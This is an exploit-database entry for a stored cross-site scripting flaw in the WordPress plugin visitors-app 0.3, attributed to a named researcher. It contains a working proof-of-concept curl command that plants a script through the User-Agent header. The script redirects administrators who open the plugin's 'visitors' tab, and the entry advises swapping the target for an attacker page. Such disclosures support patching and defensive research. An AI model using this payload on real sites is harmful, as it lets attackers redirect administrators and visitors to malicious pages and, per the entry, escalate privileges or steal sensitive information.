WordPress visitors-app 0.3 Plugin - (user-agent) Stored Cross-Site Scripting Vulnerability

# Exploit Title: WordPress Plugin visitors-app 0.3 - 'user-agent' Stored Cross-Site Scripting (XSS)
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://profiles.wordpress.org/domingoruiz/
# Software Link: https://wordpress.org/plugins/visitors-app/
# Version: 0.3 
# Tested on: Debian GNU/Linux 10
# Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc

## Description:
# A vulnerability in the Wordpress plugin "visitors" version 0.3 and prior allows remote attacker through 
# Cross-Site Scripting (XSS) to redirect administrators and visitors and potentially obtain sensitive informations
# The 'user-agent' parameter allows attacker to escalate their privileges.

## PoC
# Replace google.com with malicious attacker page
curl -i http://localhost/wordpress --user-agent "</script><script>location=([]+/http:\\google.com/g).substr(1,19); </script>"

# on http://localhost/wordpress/wp-admin, browse the tab "visitors"